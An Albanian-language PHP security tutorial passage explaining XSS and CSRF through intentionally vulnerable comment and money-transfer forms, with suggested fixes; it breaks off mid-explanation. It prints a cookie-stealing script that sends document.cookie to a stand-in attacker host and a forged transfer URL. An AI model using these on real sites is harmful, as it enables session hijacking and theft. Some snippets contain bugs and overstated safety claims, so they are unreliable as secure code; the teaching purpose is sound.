<p>Cross Site Scripting, ose si ç&#8217;njihet shkurtimisht: XSS, është teknika tjetër popullore për të sulmuar një aplikacion. Edhe këtu rrezikshmëria është e madhe, por ndryshe nga SQL Injections, kërkon interaksion me vizitorët. Në thelb, sulmuesi injekton në faqe një kod i cili bën veprime të caktuara. Mund të jetë një kod HTML i thjeshtë për të luajtur (psh: &lt;marquee&gt;), ose një taktikë shumë më e rrezikshme si përdorimi i Javascript për të vjedhur Cookies.</p>
<p>Si shembull do të marr një formë të thjeshtë komentesh, meqë është rasti tipik ku vizitorët mund të shkruajnë lirisht dhe kushdo i sheh. Kodi PHP shton komentin (nëse POST është vendosur) dhe shfaq të gjitha komentet në faqe.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>Emri<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;emri&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>E-Mail<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;emri&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>Mesazhi<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">textarea</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;mesazhi&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">textarea</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">button</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span>&gt;</span>Posto<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">button</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$email</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'email'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$mesazhi</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mesazhi'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO komentet (emri, email, mesazhi) VALUES ('<span style="color: #006699; font-weight: bold;">$emri</span>', '<span style="color: #006699; font-weight: bold;">$email</span>', '<span style="color: #006699; font-weight: bold;">$mesazhet</span>')&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Komenti u postua me sukses'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM komentet ORDER BY data DESC&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$vlerat</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_assoc</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$vlerat</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">' '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$vlerat</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'email'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;br /&gt;'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$vlerat</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mesazhi'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;br /&gt;&lt;br /&gt;'</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Kod i thjeshtë besoj?! Fillimisht kontrollon nëse është postuar forma dhe e shton në databazë, ndërsa më poshtë shfaq të gjitha mesazhet. Kodit i mungon kontrolli i të dhënave dhe është vulnerabël ndaj SQL Injections, por në këtë moment na intereson XSS, kështu që mos të zgjatemi pa arsye.</p>
<p>Problemi i madh i kodit më sipër është se supozon që çdo vizitor është njeri i besuar që s&#8217;ka fare interes të përfitojë. Kundërshtim direkt me &#8220;Murin Mbrojtës&#8221;. Në fakt, kodi është aq vulnerabël sa kushdo mund të postojë çfarëdo. Le të postojmë në atë formë diçka që përfiton direkt të dhëna sensitive nga vizitorët.</p>
<p>Plotësoj një emër dhe email çfarëdo, ndërsa në fushën e mesazhit postoj kodin më poshtë:<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="Javascript"><div class="devcodeoverflow"><ol><li><span style="color: #339933;">&lt;</span>script src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span></li><li>document.<span style="color: #660066;">location</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;http://www.faqjaesulmuesit.com/merrcookie.php?c=&quot;</span> <span style="color: #339933;">+</span> document.<span style="color: #660066;">cookie</span><span style="color: #339933;">;</span></li><li><span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Praktikisht kam injektuar kodin më sipër në faqe duke e bërë pjesë integrale të saj. Sa herë që një vizitor hap faqen e komenteve, automatikisht egzekutohet kodi më sipër. Ndërkohë, në serverin tim ruaj një skedar PHP i cili merr Cookie-n nga parametri &#8220;c&#8221; dhe ma dërgon me email. Në Javascript, document.cookie kthen të gjitha Cookie-t e krijuara në atë faqe. Rezultati i kësaj? Morra të gjitha Cookie-t e vizitorëve vetëm duke injektuar një kod fare të thjeshtë. Imagjinojeni këtë në një sistem më kompleks ku merret Cookie i administratorit. Automatikisht, sulmuesi mund ta përdorë për tu identifikuar në sistem pa pasur nevojë të dijë asnjë të dhënë, por thjeshtë duke krijuar një Cookie me të dhënat e marra nga sulmi XSS. Do të ishte shkatërruese!</p>
<p>XSS nuk limitohet vetëm në rastin më sipër, por ka fushë më të gjerë veprimi. Mjafton të ketë të dhëna hyrëse të cilat shfaqen më pas diku (dhe normalisht, pothuajse gjithmonë shfaqen diku) dhe sistemi është vulnerabël. Mund të mos përdoret vetëm për të përftuar të dhëna, por edhe për reklamim. Imagjinoni rastin më sipër, por kodi Javascript të dërgon në faqen personale të sulmuesit. Vizita automatike pa asnjë lodhje. </p>
<h3>Shmangja e XSS</h3>
<p>Për fat të mirë, edhe XSS është aq e lehtë të shmanget sa gjithçka varet nga një funksion. Kodi më poshtë i pastron të dhënat hyrëse dhe është tërësisht i mbrojtur nga XSS.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$email</span> <span style="color: #339933;">=</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'email'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$mesazhi</span> <span style="color: #339933;">=</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mesazhi'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO komentet (emri, email, mesazhi) VALUES ('<span style="color: #006699; font-weight: bold;">$emri</span>', '<span style="color: #006699; font-weight: bold;">$email</span>', '<span style="color: #006699; font-weight: bold;">$mesazhet</span>')&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Komenti u postua me sukses'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>htmlentities() është një tjetër funksion që duhet t&#8217;ju bëhet rutinë. Ajo që bën është konvertimi i karaktereve speciale në entitete HTML, në mënyrë që teksti të mos konsiderohet si kod, por të shfaqet në formën e tij origjinale. Kjo bën që çdo lloj kodi, qoftë HTML apo Javascript, të shfaqet si tekst i thjeshtë. XSS u neutralizua!</p>
<p>Duke qenë se kodi bën edhe query SQL, egziston rreziku i SQL Injections dhe duhet pastruar. Për ta bër më të thjeshtë, në kodin më poshtë kam ndërtuar një funksion që pastron të dhënat edhe nga XSS, edhe nga SQL Injections.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> pastro<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'emri'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$email</span> <span style="color: #339933;">=</span> pastro<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'email'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$mesazhi</span> <span style="color: #339933;">=</span> pastro<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mesazhi'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO komentet (emri, email, mesazhi) VALUES ('<span style="color: #006699; font-weight: bold;">$emri</span>', '<span style="color: #006699; font-weight: bold;">$email</span>', '<span style="color: #006699; font-weight: bold;">$mesazhet</span>')&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Komenti u postua me sukses'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #000000; font-weight: bold;">function</span> pastro <span style="color: #009900;">&#40;</span><span style="color: #000088;">$teksti</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$teksti</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$teksti</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$teksti</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Me vetëm dy funksione shmangen pjesa madhore e sulmeve në aplikacione web. Kini parasysh që shumica e sulmuesëve janë njerëz në moshë të vogël që kanë parë ndonjë video apo kanë lexuar ndonjë artikull mbi sulmimin e aplikacioneve. Kuptohet lehtë që tentativat kryesore do të jenë ato që s&#8217;kërkojnë shumë punë dhe kohë. XSS dhe SQL Injections janë më të lehtat!</p>
<h2>CSRF: Cross-Site Request Forgeries</h2>
<p>Cross-Site Request Forgeries, ose ndryshe CSRF, është një tip sulmi pak më i komplikuar dhe që kërkon disa kushte për tu egzektuar. Sidoqoftë, ka qenë dhe vazhdon të jetë i përhapur në aplikacionet ku programuesit s&#8217;janë treguar të përgjegjshëm.</p>
<p>CSRF është një sulm ku sulmuesi e bën viktimën të egzekutojë kërkesa HTTP pa dijeninë e këtij të fundit. Viktima mund të jetë çdo vizitor i faqes dhe kjo e bën të rrezikshme, sepse tentativat e sulmeve janë praktikisht të padallueshme pa raportim nga vizitorët ose vërejtje e veprimeve të çuditshme. Ajo që ndodh, është se sulmuesit zbulojnë forma në aplikacion të cilat janë vulnerabël ndaj manipulimeve dhe i bëjnë viktimat të dërgojnë të dhëna pa bërë asnjë veprim. Kjo kryhet duke i bërë ata të vizitojnë një faqe apo edhe thjeshtë një imazh të përfshirë diku; mjafton që teknika të egzekutojë një kërkesë HTTP e cila kryen veprime nga ana e viktimës. Teorikisht duket abstrakte, prandaj po ju tregoj një shembull konkret.</p>
<p>Rasti më i mirë dhe më dramatik për ta ilustruar është duke përdorur një shembull nga <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery" title="CSRF">Wikipedia</a>. Supozojmë se kemi një sistem pagese ku anëtarët mund të bëjnë transferta parash midis tyre. Anëtari viktimë do të jetë Beni, ndërsa anëtari sulmues Dori. Fillimisht do të ndërtoj formën e transfertës së parave midis anëtarëve dhe kodin PHP që e proçeson dhe egzekuton atë. Kuptohet, kodin do ta shkruaj që të jetë vulnerabël ndaj CSRF.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>Tek<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;tek&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>Sasia e Parave<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;sasia&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">button</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span>&gt;</span>Dergo<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">button</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tek'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$tek</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tek'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$sasia</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>float<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sasia'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezParate</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT parate FROM anetaret WHERE emri='<span style="color: #006699; font-weight: bold;">$nga</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//$nga po supozoj se vjen nga nje COOKIE</span></li><li>	<span style="color: #000088;">$vlerParate</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_assoc</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezParate</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezEgzis</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT id FROM anetaret WHERE emri='<span style="color: #006699; font-weight: bold;">$tek</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Nese anetari ka mjaftueshem para per te derguar dhe marresi egziston.</span></li><li><span style="color: #666666; font-style: italic;">		Jo edhe aq miqesore, sepse do duhet te ndaheshin tipet e ndryshme te mesazheve,</span></li><li><span style="color: #666666; font-style: italic;">		poer e ben punen si shembull.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$vlerParate</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'parate'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&gt;=</span> <span style="color: #000088;">$sasia</span> and <span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezEgzis</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			I heq dhe i shton parate respektivisht derguesit dhe marresisht dhe e regjistron transferten.</span></li><li><span style="color: #666666; font-style: italic;">			Normalisht, ne te tilla sisteme ku nje grup query-sh duhet te egzekutohet ne bllok dhe nese</span></li><li><span style="color: #666666; font-style: italic;">			njera deshton, deshtojne te gjitha, duhet te perdoren Transaksione.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #000088;">$rezTransferta</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO transfertat (nga, tek, sasia) VALUES ('<span style="color: #006699; font-weight: bold;">$nga</span>', '<span style="color: #006699; font-weight: bold;">$tek</span>', '<span style="color: #006699; font-weight: bold;">$sasia</span>')&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$rezMinus</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UPDATE anetaret SET parate=parate - <span style="color: #006699; font-weight: bold;">$sasia</span> WHERE emri='<span style="color: #006699; font-weight: bold;">$nga</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$rezPlus</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UPDATE anetaret SET parate=parate + <span style="color: #006699; font-weight: bold;">$sasia</span> WHERE emri='<span style="color: #006699; font-weight: bold;">$tek</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Transferta u krye me sukses.'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Parate nuk u derguar sepse nuk keni para ne llogari ose marresi nuk egziston.'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Forma HTML është fare e thjeshtë: 2 fusha për të vendosur marrësin dhe sasinë e parave. Në kohën kur anëtari ndodhet në atë formë, supozohet të jetë identifikuar në sistem dhe të jetë krijuar një Cookie për të regjistruar gjendjen e identifikimit dhe për të ruajtur &#8220;emrin&#8221; e tij. Kodi PHP përdor atë Cookie për të kuptuar kush është dërguesi dhe formën për të përcaktuar marrësin dhe sasinë. Në fund, nëse sasia e parave e dërguesit është e mjaftueshme dhe marrësi egziston, transferta kryhet dhe paratë zbriten dhe rriten tek anëtarët përkatës. Një sistem i thjeshtë, por që mund të manipulohet po aq thjeshtë.</p>
<p>Gjëja e parë që duhet të vini re në kodin e mësipërm është përdorimi i $_REQUEST. Ju tregova në fillim të guidës që $_REQUEST është një variabël superglobale që akseson vlerat e POST, GET, COOKIE dhe SESSION. Sulmuesi, që normalisht është një anëtar, mjafton të testojë formën e dërgimit për të parë si reagon kur vendosen variabla GET. Duke qenë se përdoret $_REQUEST dhe nuk egziston kontrolli i burimit, forma do të egzekutohet pa bërë pyetje. Pra, le të themi se sulmuesi shkruan këtë adresë:</p>
<p><pre>http://www.sistemipageses.com/dergopara.php?tek=Dori&sasia=1000</pre></p>
<p>Ju kujtoj se sulmesi e ka emrin (hipotetik) Dori. Kemi një aplikacion vulnerabël ndaj CSRF, një URL e cila egzekuton formën duke përdorur GET dhe i dërgon Dorit 1000 njësi parash. Problemi qendron se sulmuesit s&#8217;i intereson ti dërgojë para vetes dhe i duhet një viktimë. Këtu hyn në lojë Beni!</p>
<p>Sulmesi tashmë ka disa opsione. I pari dhe më i thjeshti do të ishte nëse e njeh viktimën dhe i dërgon URL-në për ta hapur, gjë që automatikisht do transferonte 1000 para tek Dori. Edhe pse do funksiononte, duhet njohur viktima (gjë që rrallë ndodh) dhe për më tepër, do u kufizonte në vetëm një njeri; fundja Beni nuk është milioner. Sulmuesit i intereson të marrë pak para nga njerëz të ndryshëm, që sasia të jetë e madhe dhe të mos bie në sy. Vijmë pra tek teknika e dytë; ajo më fatalja.</p>
<p>Sulmuesi bën disa kërkime për të parë nëse aplikacioni ka ndonjë forum për suport, kërkesa dhe gjëra të kësaj natyre. Nëse e gjen, puna lehtësohet shumë, por edhe nëse jo, asgjë s&#8217;është e humbur. Mund të përdorë një grup forumesh të populluar dhe me siguri disa nga anëtarët e aplikacionit në fjalë do jenë pjesëmarrës atje. Në çdo rast, i mjafton të krijojë një profil dhe si firmë (një opsion i ofruar në pothuajse të gjitha forumet që shfaq një teskt/imazh në fund të çdo postimi) të vendosë rreshtin më poshtë. Forumet janë një shembull, por mundësitë janë të mëdha. Një ide e mirë (e keqe në fakt!) do të ishte krijimi i një blogu që flet për aplikacionin: guidë si përdoret, anë negative, raportim rastesh abuzimi dhe çdo gjë që mendja mund të shpikë. Është e sigurtë që anëtarët e vetë aplikacionit do e gjejnë faqen dhe do interesohen për shkrimet kontroverse (edhe pse të shpikura) në të. Kthehemi tek kodi:</p>
